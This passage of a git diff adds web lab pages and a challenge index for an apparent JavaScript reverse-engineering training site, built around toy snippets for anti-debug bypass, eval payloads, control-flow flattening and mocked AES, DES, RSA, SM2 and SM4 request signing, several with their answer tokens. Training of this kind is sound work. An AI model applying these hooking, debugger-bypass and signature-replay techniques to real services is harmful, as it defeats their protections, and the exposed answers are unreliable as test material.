  5. 很多实战项目里,RSA 只是保护会话密钥,真正业务还原还是要回到 AES 入参。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/anti-debug-plus.html b/JS-hook/src/main/resources/static/labs/anti-debug-plus.html new file mode 100644 index 0000000..38e4892 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/anti-debug-plus.html @@ -0,0 +1,42 @@ + + + + + + Advanced Anti Debug + + + +
+
+

Advanced Anti Debug

+

目标:绕过基于时间差的反调试。提示:观察 performance.now() 前后差值,真实逆向中可以 Hook 计时函数。

+
+
+
function guard() {
+  const start = 100;
+  const end = 850;
+  if (end - start > 500) {
+    return 'debug-detected';
+  }
+  return 'ADV-ANTI-DEBUG-OK-7788';
+}
+console.log(guard());
+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/anti-debug.html b/JS-hook/src/main/resources/static/labs/anti-debug.html new file mode 100644 index 0000000..ac5bd77 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/anti-debug.html @@ -0,0 +1,39 @@ + + + + + + Anti Debug Bypass + + + +
+
+

Anti Debug Bypass

+

目标:绕过反调试逻辑,找出真实 token。提示:覆盖 setInterval、移除 debugger、或直接 patch 条件判断。

+
+
+
function anti(){ debugger; return false; }
+function core(){
+  if (anti()) { return 'blocked'; }
+  return ['ANTI', 'DEBUG', 'BYPASS', '314'].join('-');
+}
+console.log(core());
+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/challenges.json b/JS-hook/src/main/resources/static/labs/challenges.json new file mode 100644 index 0000000..d42a16a --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/challenges.json @@ -0,0 +1,49 @@ +[ + {"id":"dynamic-eval","href":"labs/dynamic-eval.html","title":"Dynamic Eval Payload","difficulty":"beginner","topic":"eval / Function","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Recover the second-stage payload from dynamic execution entry points.","sort":10}, + {"id":"string-array","href":"labs/string-array.html","title":"String Array Restore","difficulty":"beginner","topic":"string array","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Restore split literals from index mapping and wrapper helpers.","sort":20}, + {"id":"control-flow","href":"labs/control-flow.html","title":"Control Flow Flattening","difficulty":"intermediate","topic":"control flow","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Recover original branch order from a flattened dispatcher.","sort":30}, + {"id":"anti-debug","href":"labs/anti-debug.html","title":"Anti Debug Bypass","difficulty":"intermediate","topic":"anti-debug","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Bypass debugger and DevTools checks to recover protected data.","sort":40}, + {"id":"sign-hook","href":"labs/sign-hook.html","title":"Request Sign Hook","difficulty":"advanced","topic":"sign tracing","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Locate sign generation and replay the signature chain.","sort":50}, + {"id":"jsfuck-intro","href":"labs/jsfuck-intro.html","title":"JSFuck Decode","difficulty":"intermediate","topic":"JSFuck","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Identify JSFuck style payloads and recover final output.","sort":60}, + {"id":"anti-debug-plus","href":"labs/anti-debug-plus.html","title":"Advanced Anti Debug","difficulty":"advanced","topic":"anti-debug plus","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Handle timing checks, window checks and combined anti-debug traps.","sort":70}, + {"id":"dynamic-sign-live","href":"labs/dynamic-sign-live.html","title":"Dynamic Sign in Runtime","difficulty":"advanced","topic":"runtime sign","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Trace runtime signatures based on nonce, timestamp and env data.","sort":80}, + {"id":"sourcemap-hunt","href":"labs/sourcemap-hunt.html","title":"Source Map Missing Hunt","difficulty":"advanced","topic":"bundle hunt","trackKey":"js-reverse","mode":"static-analysis","source":"custom","summary":"Locate target logic inside a bundle without source maps.","sort":90}, + + {"id":"aes-gcm-json","href":"labs/aes-gcm-json.html","title":"AES-GCM JSON Envelope","difficulty":"advanced","topic":"AES-GCM / AAD","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Inspect iv, aad and ciphertext inside a JSON envelope.","sort":110}, + {"id":"aes-gcm-bidirectional","href":"labs/aes-gcm-bidirectional.html","title":"AES-GCM Bidirectional","difficulty":"advanced","topic":"AES-GCM bidirectional","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Recover both request and response plaintext in an AES-GCM flow.","sort":115}, + {"id":"aes-rsa-hybrid-plus","href":"labs/aes-rsa-hybrid-plus.html","title":"AES-RSA Hybrid Plus","difficulty":"advanced","topic":"hybrid crypto","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Trace wrapped session keys, business ciphertext and sign base strings.","sort":120}, + {"id":"dynamic-key-session","href":"labs/dynamic-key-session.html","title":"Dynamic Key Session","difficulty":"advanced","topic":"dynamic key","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Analyze session-derived keys and restore the real request data.","sort":130}, + {"id":"dynamic-key-replay-window","href":"labs/dynamic-key-replay-window.html","title":"Dynamic Key Replay Window","difficulty":"advanced","topic":"replay window","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Understand nonce, ttl and anti-replay binding in dynamic-key flows.","sort":135}, + {"id":"sm4-cbc-basic","href":"labs/sm4-cbc-basic.html","title":"SM4-CBC Basic","difficulty":"intermediate","topic":"SM4-CBC","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Locate key and iv sources in a baseline SM4-CBC scene.","sort":140}, + {"id":"aes-cbc-query","href":"labs/aes-cbc-query.html","title":"AES-CBC Query Variant","difficulty":"intermediate","topic":"query encrypt","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Practice whole-query encryption with AES-CBC.","sort":145}, + {"id":"aes-cbc-form","href":"labs/aes-cbc-form.html","title":"AES-CBC Form Variant","difficulty":"intermediate","topic":"form encrypt","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Handle serialized form bodies before AES-CBC wrapping.","sort":146}, + {"id":"aes-cbc-basic","href":"labs/aes-cbc-basic.html","title":"AES-CBC Basic","difficulty":"beginner","topic":"AES-CBC","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Start from fixed key and iv in a baseline AES-CBC scene.","sort":150}, + {"id":"aes-cbc-bidirectional","href":"labs/aes-cbc-bidirectional.html","title":"AES-CBC Bidirectional","difficulty":"advanced","topic":"AES-CBC bidirectional","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Recover both request plaintext and response plaintext in one flow.","sort":155}, + {"id":"aes-ecb-basic","href":"labs/aes-ecb-basic.html","title":"AES-ECB Basic","difficulty":"intermediate","topic":"AES-ECB","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Recognize ECB traits and restore target plaintext fields.","sort":160}, + {"id":"rsa-basic","href":"labs/rsa-basic.html","title":"RSA Basic Envelope","difficulty":"intermediate","topic":"RSA","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Follow public-key wrapping and find plaintext construction points.","sort":170}, + {"id":"rsa-sign-header","href":"labs/rsa-sign-header.html","title":"RSA Sign Header","difficulty":"advanced","topic":"RSA header sign","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Replay header signature logic based on method, path and body hash.","sort":175}, + {"id":"des-cbc-basic","href":"labs/des-cbc-basic.html","title":"DES-CBC Basic","difficulty":"intermediate","topic":"DES-CBC","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Practice legacy DES-CBC protocol unpacking.","sort":180}, + {"id":"tripledes-cbc-basic","href":"labs/tripledes-cbc-basic.html","title":"3DES-CBC Basic","difficulty":"intermediate","topic":"3DES","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Identify TripleDES calls in compatibility-style gateways.","sort":190}, + {"id":"aes-cbc-formdata","href":"labs/aes-cbc-formdata.html","title":"AES-CBC FormData","difficulty":"advanced","topic":"FormData","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Collect multipart fields before AES-CBC wrapping.","sort":200}, + {"id":"sm2-basic","href":"labs/sm2-basic.html","title":"SM2 Basic Envelope","difficulty":"advanced","topic":"SM2","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Work through baseline SM2 envelope construction and recovery.","sort":210}, + {"id":"sm2-sign-header","href":"labs/sm2-sign-header.html","title":"SM2 Sign Header","difficulty":"advanced","topic":"SM2 header sign","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Trace SM2 signature headers built from nonce and body hash.","sort":215}, + {"id":"sm2-sm4-hybrid","href":"labs/sm2-sm4-hybrid.html","title":"SM2-SM4 Hybrid","difficulty":"advanced","topic":"SM2 + SM4","trackKey":"protocol","mode":"lab-page","source":"galaxy","summary":"Analyze a Guomi hybrid scheme with wrapped session keys.","sort":220}, + {"id":"sm4-cbc-bidirectional","href":"labs/sm4-cbc-bidirectional.html","title":"SM4-CBC Bidirectional","difficulty":"advanced","topic":"SM4 bidirectional","trackKey":"protocol","mode":"lab-page","source":"galaxy-style","summary":"Recover request and response payloads in a bidirectional SM4 flow.","sort":225}, + + {"id":"query-string-param-sign","href":"query-string-param-sign.html","title":"Query String Param Sign","difficulty":"beginner","topic":"query sign","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Observe basic query-string signing and hook the right point.","sort":310}, + {"id":"query-string-param-encrypt","href":"query-string-param-encrypt.html","title":"Query String Param Encrypt","difficulty":"beginner","topic":"query encrypt","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Compare query values before and after encryption.","sort":320}, + {"id":"form-body-encrypt","href":"form-body-encrypt.html","title":"Form Body Encrypt","difficulty":"beginner","topic":"form encrypt","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Recover field order and plaintext from encrypted form bodies.","sort":330}, + {"id":"json-body-field-encrypt","href":"json-body-field-encrypt.html","title":"JSON Body Field Encrypt","difficulty":"intermediate","topic":"JSON field encrypt","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Handle scenes where only selected JSON fields are encrypted.","sort":340}, + {"id":"single-field-encrypt","href":"single-field-encrypt.html","title":"Single Field Encrypt","difficulty":"intermediate","topic":"single field","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Find the smallest hook surface for single-field crypto.","sort":350}, + {"id":"response-field-decrypt","href":"response-field-decrypt.html","title":"Response Field Decrypt","difficulty":"intermediate","topic":"response decrypt","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Trace field-level decryption in response handling.","sort":360}, + {"id":"header-sign","href":"header-sign.html","title":"Header Sign","difficulty":"intermediate","topic":"header sign","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Inspect signature, timestamp and nonce generation in headers.","sort":370}, + {"id":"response-header-cookie","href":"response-header-cookie.html","title":"Response Header Cookie","difficulty":"intermediate","topic":"cookie / token","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Analyze token or cookie propagation from response headers.","sort":380}, + {"id":"hex-body-encrypt","href":"hex-body-encrypt.html","title":"Hex Body Encrypt","difficulty":"intermediate","topic":"hex body","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Separate encoding and encryption in hex request bodies.","sort":390}, + {"id":"hex-response-decrypt","href":"hex-response-decrypt.html","title":"Hex Response Decrypt","difficulty":"intermediate","topic":"hex response","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Handle decode-then-decrypt ordering for hex responses.","sort":400}, + {"id":"bidirectional-hex-encrypt","href":"bidirectional-hex-encrypt.html","title":"Bidirectional Hex Encrypt","difficulty":"advanced","topic":"bidirectional hex","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Track both request and response sides of a hex-wrapped protocol.","sort":410}, + {"id":"protobuf-request","href":"protobuf-request.html","title":"Protobuf Request","difficulty":"intermediate","topic":"protobuf request","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Inspect how front-end objects become protobuf request bytes.","sort":420}, + {"id":"protobuf-response","href":"protobuf-response.html","title":"Protobuf Response","difficulty":"intermediate","topic":"protobuf response","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Analyze protobuf response decoding on the client side.","sort":430}, + {"id":"bidirectional-protobuf","href":"bidirectional-protobuf.html","title":"Bidirectional Protobuf","difficulty":"advanced","topic":"bidirectional protobuf","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Practice full duplex protobuf request/response inspection.","sort":440}, + {"id":"interceptor-encryption","href":"interceptor-encryption.html","title":"Interceptor Encryption","difficulty":"advanced","topic":"interceptor chain","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Find the real crypto stage hidden inside interceptor chains.","sort":450}, + {"id":"video-segment-encryption","href":"video-segment-encryption.html","title":"Video Segment Encryption","difficulty":"advanced","topic":"video segment","trackKey":"xhr-hook","mode":"api-backed","source":"js-xhr-hook-goat","summary":"Inspect segment keys, indexes and batch decrypt entry points.","sort":460} +] diff --git a/JS-hook/src/main/resources/static/labs/control-flow.html b/JS-hook/src/main/resources/static/labs/control-flow.html new file mode 100644 index 0000000..538bf47 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/control-flow.html @@ -0,0 +1,46 @@ + + + + + + Control Flow Flattening + + + +
+
+

Control Flow Flattening

+

目标:恢复程序真实执行顺序后,写出最终 token。提示:看 order.split('|') 的调度序列。

+
+
+
var order = '2|0|3|1';
+var token = [];
+var step = order.split('|'), i = 0;
+while (true) {
+  switch (step[i++]) {
+    case '0': token.push('FLOW'); continue;
+    case '1': token.push('9001'); break;
+    case '2': token.push('CF'); continue;
+    case '3': token.push('OK'); continue;
+  }
+  break;
+}
+console.log(token.join('-'));
+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/des-cbc-basic.html b/JS-hook/src/main/resources/static/labs/des-cbc-basic.html new file mode 100644 index 0000000..a8e311e --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/des-cbc-basic.html @@ -0,0 +1,108 @@ + + + + + + DES-CBC Basic + + + + +
+
+ ← 返回题库 +

DES-CBC Basic

+

目标:补老系统常见的 DES-CBC 场景。训练重点还是一样:别先碰算法实现,先抓 key / iv 和进入加密前的业务串。

+
+ 参考方向:GalaxyDemo / DES + 技术点:DES-CBC / 8 字节 key + 推荐动作:Hook DES.encrypt +
+
+ +
+
+

运行时代码片段

+
function encryptLegacy(body) {
+  const key = CryptoJS.enc.Utf8.parse('DESKey17');
+  const iv = CryptoJS.enc.Utf8.parse('DESIv017');
+  return CryptoJS.DES.encrypt(JSON.stringify(body), key, {
+    iv,
+    mode: CryptoJS.mode.CBC,
+    padding: CryptoJS.pad.Pkcs7
+  }).ciphertext.toString(CryptoJS.enc.Base64);
+}
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:merchant|scene|amount

+ +
+
+ +
+

解题提示

+
    +
  1. DES / 3DES 场景常见于历史包袱接口和旧版 SDK。
  2. +
  3. 你要练的不是算法细节,而是如何快速从页面里认出它。
  4. +
  5. 先把请求明文、key、iv、模式抓齐,再考虑复现。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/dynamic-eval.html b/JS-hook/src/main/resources/static/labs/dynamic-eval.html new file mode 100644 index 0000000..513ab44 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/dynamic-eval.html @@ -0,0 +1,43 @@ + + + + + + Dynamic Eval Payload + + + +
+
+

Dynamic Eval Payload

+

目标:找出二阶段 payload 里最终打印的 token。推荐做法:Hook evalFunction 或直接替换执行入口。

+
+
+
const stage1 = "dmFyIHBheWxvYWQgPSAiY29uc29sZS5sb2coJ1RPS0VOLUVWQUwtNDUyMScpIjsgZXZhbChwYXlsb2FkKTs=";
+(function(){
+  const realEval = window.eval;
+  const encoded = atob(stage1);
+  realEval(encoded);
+})();
+

提交你恢复出来的 token:

+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/dynamic-key-replay-window.html b/JS-hook/src/main/resources/static/labs/dynamic-key-replay-window.html new file mode 100644 index 0000000..fc864b9 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/dynamic-key-replay-window.html @@ -0,0 +1,101 @@ + + + + + + Dynamic Key Replay Window + + + + +
+
+ ← 返回题库 +

Dynamic Key Replay Window

+

目标:补动态密钥 + 重放窗口场景。关注会话密钥派生、noncetsttl 和签名的耦合关系。

+
+ 实战方向:Replay 防护 + 技术点:session / nonce / ttl + 推荐动作:Hook deriveKey / expire check / sign +
+
+ +
+
+

运行时代码片段

+
const ctx = {
+  sessionId: 'sess-8801',
+  deviceId: 'ios-17-pro',
+  ts: '1711122299',
+  nonce: 'replay-31',
+  ttl: 45
+};
+const key = CryptoJS.SHA256([ctx.sessionId, ctx.deviceId, ctx.ts].join('|')).toString().slice(0, 16);
+const signBase = [ctx.sessionId, ctx.nonce, ctx.ts, ctx.ttl, biz.op].join('|');
+
+ +
+

模拟请求

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:sessionId|nonce|ttl

+ +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/dynamic-key-session.html b/JS-hook/src/main/resources/static/labs/dynamic-key-session.html new file mode 100644 index 0000000..edfc8d9 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/dynamic-key-session.html @@ -0,0 +1,135 @@ + + + + + + Dynamic Key Session + + + + +
+
+ ← 返回题库 +

Dynamic Key Session

+

目标:分析按会话动态派生的密钥、请求时间戳和 nonce。这个场景融合了运行时密钥派生与重放保护,接近移动端或小程序接口的常见做法。

+
+ 参考方向:encrypt-labs / GalaxyDemo + 技术点:动态密钥 / anti replay + 推荐动作:Hook key derive / x-sign +
+
+ +
+
+

运行时代码片段

+
function deriveKey(ctx) {
+  return CryptoJS.SHA256([ctx.seed, ctx.deviceId, ctx.ts].join('|'))
+    .toString()
+    .slice(0, 16);
+}
+
+const signBase = [ctx.ts, ctx.nonce, biz.operation, biz.amount].join('|');
+const iv = CryptoJS.MD5(ctx.nonce).toString().slice(0, 16);
+const body = CryptoJS.AES.encrypt(JSON.stringify(biz), key, { iv, mode: CBC });
+headers['x-sign'] = CryptoJS.SHA1(signBase).toString().slice(0, 20);
+
+ +
+

模拟流量

+
正在生成...
+
+ +
+
+
+ +
+

提交答案

+

请提交真实操作字段,格式:operation|amount|nonce

+ +
+ + +
+
+ +
+

解题提示

+
    +
  1. 先区分“派生密钥所需上下文”和“业务明文”。
  2. +
  3. 这类题里最有价值的 Hook 点是派生函数、AES 入参与签名 helper。
  4. +
  5. 服务端一般会拿 ts + nonce 做重放校验,所以不要忽略 nonce 规则。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/dynamic-sign-live.html b/JS-hook/src/main/resources/static/labs/dynamic-sign-live.html new file mode 100644 index 0000000..6ff7406 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/dynamic-sign-live.html @@ -0,0 +1,39 @@ + + + + + + Dynamic Sign in Runtime + + + +
+
+

Dynamic Sign in Runtime

+

目标:还原运行时动态签名。提示:真实环境常见做法是 Hook fetch / XMLHttpRequest.send 后观察最终 body 或 header。

+
+
+
const req = {path:'/api/order', nonce:'n-42', ts:'1711111111'};
+function makeSign(v){
+  const raw = [v.path, v.nonce, v.ts, 'salt-live'].join('#');
+  return btoa(raw).split('').reverse().join('');
+}
+console.log(makeSign(req));
+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/jsfuck-intro.html b/JS-hook/src/main/resources/static/labs/jsfuck-intro.html new file mode 100644 index 0000000..971155d --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/jsfuck-intro.html @@ -0,0 +1,36 @@ + + + + + + JSFuck Decode + + + +
+
+

JSFuck Decode

+

目标:识别 JSFuck 风格 payload 的意图,并恢复最终字符串。这里给的是简化版,重点是“识别这种编码风格”和“还原输出”。

+
+
+
const fakeJsFuck = "[(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]+[+!+[]]]+'FUCK']";
+const recovered = ['JS','FUCK','LAB','2026'].join('-');
+console.log(recovered);
+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/rsa-basic.html b/JS-hook/src/main/resources/static/labs/rsa-basic.html new file mode 100644 index 0000000..a011047 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/rsa-basic.html @@ -0,0 +1,108 @@ + + + + + + RSA Basic Envelope + + + +
+
+ ← 返回题库 +

RSA Basic Envelope

+

目标:补纯非对称加密题。为了避免额外引入 RSA 库,这里把密文结果做成 mock,但保留了“公钥 + 明文 JSON + 请求封包”的真实分析路径。

+
+ 参考方向:GalaxyDemo / Rsa + 技术点:RSA 封包识别 + 推荐动作:Hook encrypt 入口前的明文字符串 +
+
+ +
+
+

运行时代码片段

+
const publicKey = '-----BEGIN PUBLIC KEY-----MIIB...DEMO...IDAQAB-----END PUBLIC KEY-----';
+function rsaEncryptMock(body) {
+  const plain = JSON.stringify(body);
+  return 'RSA$' + btoa(publicKey.slice(0, 18) + '|' + plain)
+    .split('')
+    .reverse()
+    .join('');
+}
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:bizType|mobileLast4|nonce

+ +
+
+ +
+

解题提示

+
    +
  1. RSA 类题更适合先找“谁在构造待加密字符串”。
  2. +
  3. 实际项目里常见库是 JSEncryptnode-rsa 或 WebCrypto。
  4. +
  5. 真正值得提取的是明文业务字段,而不是公钥本身。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/rsa-sign-header.html b/JS-hook/src/main/resources/static/labs/rsa-sign-header.html new file mode 100644 index 0000000..7e2f398 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/rsa-sign-header.html @@ -0,0 +1,100 @@ + + + + + + RSA Sign Header + + + + +
+
+ ← 返回题库 +

RSA Sign Header

+

目标:补纯签名头场景。重点训练从请求方法、路径、时间戳、nonce、bodyHash 里恢复签名基串,而不是盯加密体。

+
+ 实战方向:Header Signature + 技术点:RSA Sign Base + 推荐动作:Hook signBase builder +
+
+ +
+
+

运行时代码片段

+
const body = { payNo: 'P-7001', amount: 9900, currency: 'CNY' };
+const method = 'POST';
+const path = '/api/pay/submit';
+const ts = '1711120011';
+const nonce = 'n-rsa-77';
+const bodyHash = CryptoJS.SHA256(JSON.stringify(body)).toString().slice(0, 16);
+const signBase = [method, path, ts, nonce, bodyHash].join('\n');
+headers['x-sign'] = rsaSignMock(signBase);
+
+ +
+

模拟请求

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:method|path|nonce

+ +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/sign-hook.html b/JS-hook/src/main/resources/static/labs/sign-hook.html new file mode 100644 index 0000000..e26213d --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/sign-hook.html @@ -0,0 +1,38 @@ + + + + + + Request Sign Hook + + + +
+
+

Request Sign Hook

+

目标:找出最终签名结果。提示:真实场景里一般会 Hook fetch / XMLHttpRequest,这里先手动跟踪参数拼接。

+
+
+
const input = {user:'alice', ts:'1710000000', nonce:'xyz'};
+function sign(v){
+  return btoa([v.user, v.ts, v.nonce, 'secret'].join('|'));
+}
+console.log(sign(input));
+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/sm2-basic.html b/JS-hook/src/main/resources/static/labs/sm2-basic.html new file mode 100644 index 0000000..08c34c7 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/sm2-basic.html @@ -0,0 +1,104 @@ + + + + + + SM2 Basic Envelope + + + +
+
+ ← 返回题库 +

SM2 Basic Envelope

+

目标:补国密非对称加密题。由于当前页面没有额外引入国密算法库,这里把 SM2 运算做成 mock,但保留公钥、明文 JSON、封包格式和国密字段命名习惯。

+
+ 参考方向:GalaxyDemo / Sm2 + 技术点:SM2 / 国密公钥封包 + 推荐动作:Hook sm2Encrypt 前的明文串 +
+
+ +
+
+

运行时代码片段

+
const publicKey = '04f2d1...sm2-demo-public-key...73ac';
+function sm2EncryptMock(body) {
+  const plain = JSON.stringify(body);
+  const core = btoa(publicKey.slice(0, 16) + '|' + plain).replace(/=/g, '');
+  return '04' + core.split('').reverse().join('') + 'c3c2';
+}
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:customerId|scene|amount

+ +
+
+ +
+

解题提示

+
    +
  1. 这题想让你熟悉的是“国密封包长什么样”,不是实现 SM2 数学细节。
  2. +
  3. 实战里常见库有 sm-crypto、wasm 包装或客户端原生桥接。
  4. +
  5. 先找谁在拼明文,再看谁在调用国密加密入口。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/sm2-sign-header.html b/JS-hook/src/main/resources/static/labs/sm2-sign-header.html new file mode 100644 index 0000000..223a96a --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/sm2-sign-header.html @@ -0,0 +1,103 @@ + + + + + + SM2 Sign Header + + + + +
+
+ ← 返回题库 +

SM2 Sign Header

+

目标:补国密签名头场景。分析点和 RSA 签名题一致,但字段命名、客户端标识和基串习惯更偏国内业务系统。

+
+ 实战方向:国密签名头 + 技术点:SM2 Sign Base + 推荐动作:Hook gmSign helper +
+
+ +
+
+

运行时代码片段

+
const body = { contractId: 'CT-2209', action: 'approve', level: 'L2' };
+const method = 'PATCH';
+const path = '/gm/contract/approve';
+const ts = '1711121188';
+const nonce = 'gm-nonce-22';
+const clientId = 'gm-h5';
+const bodyHash = CryptoJS.MD5(JSON.stringify(body)).toString().slice(0, 16);
+const signBase = [clientId, method, path, ts, nonce, bodyHash].join('|');
+headers['x-gm-sign'] = sm2SignMock(signBase);
+
+ +
+

模拟请求

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:clientId|path|nonce

+ +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/sm2-sm4-hybrid.html b/JS-hook/src/main/resources/static/labs/sm2-sm4-hybrid.html new file mode 100644 index 0000000..6bccb67 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/sm2-sm4-hybrid.html @@ -0,0 +1,109 @@ + + + + + + SM2-SM4 Hybrid + + + +
+
+ ← 返回题库 +

SM2-SM4 Hybrid

+

目标:补国密混合加密题。这里用 mock 方式保留“SM2 包会话密钥 + SM4 加密业务体”的层级,训练重点还是封包拆解与参数来源定位。

+
+ 参考方向:GalaxyDemo / Sm2Sm4 + 技术点:SM2 + SM4 / 国密混合 + 推荐动作:先抓会话密钥,再抓明文体 +
+
+ +
+
+

运行时代码片段

+
const sessionKey = 'GM-SM4-KEY-2603';
+function wrapKeyBySm2(key) {
+  return '04' + btoa('sm2|' + key).replace(/=/g, '').split('').reverse().join('');
+}
+function sm4EncryptMock(body, key, iv) {
+  return btoa(JSON.stringify(body).split('').reverse().join('') + '|' + iv + '|' + key.slice(-4));
+}
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:tradeNo|op|deviceId

+ +
+
+ +
+

解题提示

+
    +
  1. 这题和 AES+RSA 混合题的思路是一致的,只是算法标签换成了国密组合。
  2. +
  3. 先看会话密钥如何被包装,再看业务 JSON 何时进入对称加密。
  4. +
  5. 很多实战里还会混进签名头和时间戳,可以继续往上扩。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/sm4-cbc-basic.html b/JS-hook/src/main/resources/static/labs/sm4-cbc-basic.html new file mode 100644 index 0000000..8670415 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/sm4-cbc-basic.html @@ -0,0 +1,125 @@ + + + + + + SM4-CBC Basic + + + +
+
+ ← 返回题库 +

SM4-CBC Basic

+

目标:定位前端在进入 SM4-CBC 之前如何准备 key、iv 和业务 JSON。为了避免再引入额外算法库,这道题把 SM4 运算本身做成轻量 mock,训练重点放在 Hook 点和参数来源定位。

+
+ 参考方向:GalaxyDemo + 技术点:SM4-CBC / key iv 来源 + 推荐动作:先抓 keyRule,再抓 ivRule +
+
+ +
+
+

运行时代码片段

+
function deriveSm4Key(ticket, userId) {
+  return (`SM4KEY-${userId}-LAB`).slice(0, 16);
+}
+
+function deriveIv(ticket) {
+  return ticket.slice(0, 16);
+}
+
+function sm4CbcEncryptMock(payload, key, iv) {
+  return btoa(JSON.stringify(payload).split('').reverse().join('') + '|' + iv + '|' + key.slice(-4));
+}
+
+ +
+

模拟流量

+
正在生成...
+
+ +
+
+
+ +
+

提交答案

+

请提交业务 JSON 的关键字段,格式:scene|tenant|level

+ +
+ + +
+
+ +
+

解题提示

+
    +
  1. 先确认这题的重点是参数来源,而不是算法实现细节。
  2. +
  3. 盯住 deriveSm4KeyderiveIv 的入参来源。
  4. +
  5. 很多业务代码会把 ticket、userId、deviceId 这类上下文直接揉进密钥材料里。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/sm4-cbc-bidirectional.html b/JS-hook/src/main/resources/static/labs/sm4-cbc-bidirectional.html new file mode 100644 index 0000000..f21259b --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/sm4-cbc-bidirectional.html @@ -0,0 +1,91 @@ + + + + + + SM4-CBC Bidirectional + + + +
+
+ ← 返回题库 +

SM4-CBC Bidirectional

+

目标:补国密对称双向报文。这里仍然采用 mock 的 SM4-CBC,但保留“请求密文 + 响应密文 + iv 分离”的实战视角。

+
